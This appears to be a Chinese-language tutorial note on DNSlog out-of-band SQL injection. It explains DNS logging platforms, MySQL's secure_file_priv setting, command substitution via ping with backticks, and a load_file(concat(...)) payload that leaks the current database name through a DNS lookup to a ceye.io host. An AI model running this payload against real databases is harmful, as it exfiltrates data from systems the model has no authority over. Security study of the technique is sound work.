什么是dnslog

uname

那么DNSlog是什么。DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件

他就是我们在dns解析的一个记录,就是个日志

推荐平台:
http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io

演示

他的盲注原理

注入要求

show variables like '%secure%';查看load_file()可以读取的磁盘。

下面的Value说明

Value 列说明
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
不限制目录
1
2
3
4
5
6
7
8
9
10
11
12
13
MySQL [mysql]>  show variables like '%secure%';
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id: 4
Current database: security

+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.03 sec)

演示

uname命令是显示他的系统的

1
2
zss@zss~>> uname
Linux

我们命令,下面这个

1
ping `uname` #`xxx`里面的东西会当做命令执行

演示:可以看见他的ping的是Linux.com

1
2
3
4
 ✘ zss@zss ~>> ping `uname`.com
PING Linux.com (23.185.0.3) 56(84) bytes of data.
64 bytes from 23.185.0.3 (23.185.0.3): icmp_seq=1 ttl=50 time=49.9 ms
64 bytes from 23.185.0.3 (23.185.0.3): icmp_seq=2 ttl=50 time=49.7 ms

load_file()发送请求

我们就可以用sqlload_file()语句发生一个请求了

load_file()是读取文件的我们可以用\\进行发送请求

image-20220111143726210

构建一个语法

1
select load_file(concat('\\\\',(select database()),'.upkhrz.ceye.io\\abc'));

load_file() 是读取文件的我们可以用\\进行发送请求用到\进行的转移

select database() 是输出当前数据库

concat() 叫我们的内容进行连接起来他就是\\当前库的名字.z1xkcf.ceye.io\\abc

看一下结果:他的当前数据库的结果就出来了

image-20220111144551793

实战